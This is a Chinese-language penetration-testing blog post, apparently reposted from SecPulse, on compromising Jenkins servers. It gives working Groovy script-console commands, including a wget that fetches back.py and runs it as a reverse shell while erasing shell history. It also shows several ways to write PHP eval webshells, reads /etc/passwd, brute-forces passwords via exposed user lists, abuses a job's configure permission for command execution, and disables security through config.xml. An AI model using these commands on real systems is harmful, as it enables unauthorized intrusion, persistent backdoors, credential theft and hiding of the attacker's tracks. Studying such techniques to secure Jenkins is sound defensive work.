知其一不知其二之Jenkins Hacking
转自安全脉搏
本文首发安全脉搏 感谢大王叫我来巡山 的投递 转载请注明来源
大多安全工作者听到jenkins都会知道有个未授权的命令执行
但是如果Script页面要授权才能访问呢 或者你的用户没有Overall/RunScripts权限呢
抱着提出问题–>测试问题–>解决问题的思路有了这篇文章
由于版本众多 也不用下载本地测了 直接在内网找到六个
截止发稿 Jenkins新版本为(1.589)
一、 知其一的Jenkins未授权访问可执行命令
http://www.secpulse.com:8080/manage
http://www.secpulse.com:8080/script
默认是8080端口 未授权访问就是任意用户都能访问 都能执行命令
1) println “ifconfig -a”.execute().text 执行一些系统命令
老外比较喜欢这样用:
1
2
3
4
5
6
7
8
9
|
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
|
2) 直接wget下载back.py反弹shell
1
2
3
|
println "wget http://xxx.secpulse.com/tools/back.py -P /tmp/".execute().text
println "python /tmp/back.py 10.1.1.111 8080".execute().text
|
back.py里面已经有了HISTFILE代码,会自动去掉各种history记录,确保shell断掉的时候不会被记录到.bash_history里面
back.py不需要root权限
3) 不想反弹试试Terminal Plugin
可以搜索安装Terminal Plugin
https://wiki.jenkins-ci.org/display/JENKINS/Terminal+Plugin
不想提权的话 还是蛮好用的终端插件 谁用谁知道~
二、不知其二之多种方式写shell
有时候其他端口有web,我们可以查看nginx/apache配置或者结合phpinfo写入webshell
尝试几次失败后开始翻阅Groovy Script语法
The web site for Groovy is http://groovy.codehaus.org/
Groovy is a weakly-typed scripting language based on Java.
1)Groovy既然是基于Java的弱类型语言 那么先稍微提提它的语法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
|
def name = 'Joe'
println "Hello $name"
//Hello Joe
def name = 'Joe'
println "Number of letters in $name is ${name.size( )}"
//Number of letters in Joe is 3
//Groovy I/O 文件读写
读文件
text = new File("/tmp/back.py").getText();
//eachLine -- 打开和读取文件的每一行
new File("/tmp/back.py").eachLine {
println it;
}
//readLines
lineList = new File("/tmp/back.py").readLines();
lineList.each {
println it.toUpperCase();
}
write轻轻松松写文件
new File("/tmp/1.php").write('Hello SecPulse');
多行写入
new File("/tmp/1.php").write("""
This is
just a test file
to play with
""");
|
2)几种写webshell的错误写法:
1
2
3
4
5
6
7
8
9
10
11
|
println "echo \'<?php @eval($_POST[c6md])?>\' > /var/www/html/media.php".execute().text
println "echo '<?php @eval(\$_POST[c6md])?>\' > /var/www/html/media.php ".execute().text
new File("/tmp/1.php").write("<?php @eval($_POST[s3cpu1se]);?>");
groovy.lang.MissingPropertyException: No such property: _POST for class: Script1
new File("/tmp/1.php").write("<?php @eval($\_POST[s3cpu1se]);?>");
new File("/tmp/1.php").write("<?php @eval(\$\_POST[s3cpu1se]);?>");
|
3)脑洞开 多种写webshell方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
① wget写webshell
println "wget http://shell.secpulse.com/data/t.txt -o /var/www/html/media.php".execute().text
②
new File("/var/www/html/media.php").write('<?php @eval($_POST[s3cpu1se]);?>');
③
def webshell = '<?php @eval($_POST[s3cpu1se]);?>'
new File("/var/www/html/media.php").write("$webshell");
④追加法写webshell
def execute(cmd) {
def proc = cmd.execute()
proc.waitFor()
}
execute( [ 'bash', '-c', 'echo -n "<?php @eval($" > /usr/local/nginx_1119/html/media.php' ] )
execute( [ 'bash', '-c', 'echo "_POST[s3cpu1se]);?>" >> /usr/local/nginx_1119/html/media.php' ] )
//参数-n 不要在最后自动换行
|
Result: 0 表示成功写入
Result: 1 表示目录不存在或者权限不足 写入失败
Result: 2 表示构造有异常 写入失败
Hudson(jenkins类似)找”脚本命令行”
执行Groovy代码,读取服务器本地/etc/passwd文件:
1
2
3
4
5
6
7
8
9
|
try{
text = new File("/etc/passwd").getText();
out.print text
} catch(Exception e){
}
|
三、高逼格的Powershell&msf
https://github.com/samratashok/nishang
http://www.rapid7.com/db/modules/exploit/multi/http/jenkins_script_console
http://www.labofapenetrationtester.com/2014/06/hacking-jenkins-servers.html
nishang是一个powershell脚本集 msf上面有jenkins对应的exploit 感觉都没必要
四、登录认证的突破
jenkins可以对每个用户分配不同的权限,如Overall/RunScripts或者Job/Configure权限
1)某些版本匿名用户可以访问asynchPeople 可爆破密码
(通常很多密码跟用户名一样或者是其他弱口令(top1000),尤其是内网)
//用户列表:包含所有已知“用户”,包括当前安全域中的登录ID和在变更记录的提交信的息里的人
http://jenkins.secpulse.com:8080/asynchPeople/
所有构建(builds)
http://jenkins.secpulse.com:8080/view/All/builds
可以导出为XML
http:// jenkins.secpulse.com:8080/view/All/cc.xml
userContent(一般就一个readme):
http:// jenkins.secpulse.com:8080/userContent/
Computers:
http:// jenkins.secpulse.com:8080/computer/
2) 熟练的猜密码
根据这些用户名 熟练的猜密码 我们的目标就是要一个有命令执行权限的用户(最好是这样,但也不苛求)
有时候是域认证的用户 爆破立马触发各种邮件报警 显然就不理智 端详猜密码是个绝技~
3) 构造精准字典,来爆破
最好是构造精准的字典 也可以是top1000之类的弱口令
爆破Payload里面的json串可以删除
主要根据location判断爆破成功与否
五、低权限用户命令执行突破
不小心猜了个用户 没有执行权限 但是有job查看和configure权限
http://jenkins.secpulse.com:8080/job/Job1/configure
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
新加一个Execute Shell添加command (win平台用Execute Windows batch command)
Cat /etc/passwd
Apply
添加左上侧 立即构建
Build History看到历史BuildId
右键
控制台输出
http://jenkins.secpulse.com:8080/job/Job1/300/console
纯文本方式
http://jenkins.secpulse.com:8080/job/Job1/300/consoleText
|
老外也有提及:http://www.labofapenetrationtester.com/2014/08/script-execution-and-privilege-esc-jenkins.html
六、asynchPeople等不能访问时候的突破
快速定位用户有妙招
1) 如果jobs能访问的话 各种翻jobs 会看到启动用户
2) 如果不能 那么启用/user/xxx/暴力模式
如果存在
如果不存在
突破用户回到上述的四和五~
七、关于几个配置和加密
1) 根目录下的关键配置config.xml
① 如果配置不好的话 容易导致config.xml直接下载
http:// jenkins.secpulse.com:8080/config.xml
②[useSecurity]true[/useSecurity] 改为false的话就可以未授权访问了
2) 每个用户目录下面的config.xml
passHash使用了Java的强加密方式jbcrypt
pentest工作就是大部分自动化 快速找到安全短板 譬如st2,譬如弱口令,譬如本文的jenkins命令执行,快速突破进内网完成测试任务。安全运维人员则必须修补每一个缺口,重视每一块短板,紧跟每一次安全漏洞披露。以上是一些拙见,欢迎交流~
知其一不知其二之Jenkins Hacking的更多相关文章
- JIRA licence and vulnarability,jenkins,devops
http://blog.itpub.net/13651903/viewspace-1079918/ http://www.freebuf.com/articles/web/34051.html JIR ...
- Gitlab_ansible_jenkins三剑客⑥Jenkins和ansible集成
ip 角色 备注 10.11.0.215 jenkins服务器 通过deploy运行jenkins服务,deploy用户做了免秘钥登录ansible服务器 10.11.0.210 ansible服务器 ...
- Jenkins+Gitlab+Ansible自动化部署(五)
Freestyle Job实现静态网站部署交付(接Jenkins+Gitlab+Ansible自动化部署(四)https://www.cnblogs.com/zd520pyx1314/p/102445 ...
- Jenkins+Gitlab+Ansible自动化部署(六)
Pipeline Job实现Nginix+MySQL+PHP+Wordpress实现自动化部署交付(Jenkins+Gitlab+Ansible自动化部署(五)https://www.cnblogs. ...
- Jenkins+Gitlab+Ansible自动化部署(二)
接Jenkins+Gitlab+Ansbile自动化部署(一):https://www.cnblogs.com/zd520pyx1314/p/10210727.html Ansible的配置与部署 工 ...
- Jenkins+Gitlab+Ansible自动化部署(四)
接Jenkins+Gitlab+Ansible自动化部署(三)https://www.cnblogs.com/zd520pyx1314/p/10235394.html Jenkins应用 Jenkin ...
- Jenkins 安装的HTML Publisher Plugin 插件无法展示ant生成的JunitReport报告
最近在做基于jenkins ant junit 的测试持续集成,单独ant junit生成的junitreport报告打开正常,使用Jenkins的HTML Publisher Plugin 插件无 ...
- Python-Jenkins API使用 —— 在后端代码中操控Jenkins
最近在工作中需要用到在后台代码中触发Jenkins任务的构建,于是想到Jenkins是否有一些已经封装好的API类库提供,用于处理跟Jenkins相关的操作.下面就简单介绍下我的发现. Linux C ...
- 在centos7上安装Jenkins
在centos7上安装Jenkins 安装 添加yum repos,然后安装 sudo wget -O /etc/yum.repos.d/jenkins.repo http://pkg.jenkins ...
随机推荐
- maven学习(十四)——Eclipse中使用Maven插件
1.导入Maven项目 File→import
- win 8系统下如何安装搭建python
python的环境搭建除了python本身,还有Aptana和pip的安装.Aptana提供了更好的集成开发环境,pip主要用于安装第三方的包. 具体安装流程可参考以下两篇文章: InSky关于安装p ...
- 解决云服务器ECS,windows server 2012不能安装SQL Server 2012,不能安装.NET Fromework 3.5
在云服务器上安装SQL Server 2012 时出现“启用windows功能NetFx3时出错”的问题:NetFx3指的是.NET Framework 3.5,SQL Server 2012数据库系 ...
- [暑假集训--数论]poj3518 Prime Gap
The sequence of n − 1 consecutive composite numbers (positive integers that are not prime and not eq ...
- 球形空间产生器sphere(bzoj 1013)
Description 有一个球形空间产生器能够在n维空间中产生一个坚硬的球体.现在,你被困在了这个n维球体中,你只知道球面上n+1个点的坐标,你需要以最快的速度确定这个n维球体的球心坐标,以便于摧毁 ...
- Eclipse与MyEclipse增加主题
下载所需文件 下载地址:https://pan.baidu.com/s/1slq9lFn 如果eclipse和myeclipse里的MyEclipse 10\dropins存在features和plu ...
- Some lines about EF Code First migration.
Some lines about EF Code First migration: 一. 模型设计 1. 遵循EF标准,注意表关系配对 2. 数据模型里尽量把必须的属性和说明都写全 3. EF默认id ...
- 当一个窗体上有PageControl 控件时,是先执行 FormShow呢,还是先执行PageControl 的 TabSheet2Show呢
答案是 先执行 TabSheet2Show ,总算知道了,顺便推理 Onshow事件的执行顺序是 从内到外,先执行容器内的控件的事件,再执行 窗体的事件
- hdu3715 2-sat+二分
Go Deeper 题意:确定一个0/1数组(size:n)使得满足最多的条件数.条件在数组a,b,c给出. 吐槽:哎,一水提,还搞了很久!关键是抽象出题目模型(如上的一句话).以后做二sat:有哪些 ...
- 爬虫学习笔记(五) Beautiful Soup使用
上篇博客说了正则表达式,但是正则学起来比较费劲,写的时候也不好写,这次说下Beautiful Soup怎么用,这个模块是用来解析html的,它操作很简单,用起来比较方便,比正则学习起来简单多了. 这是 ...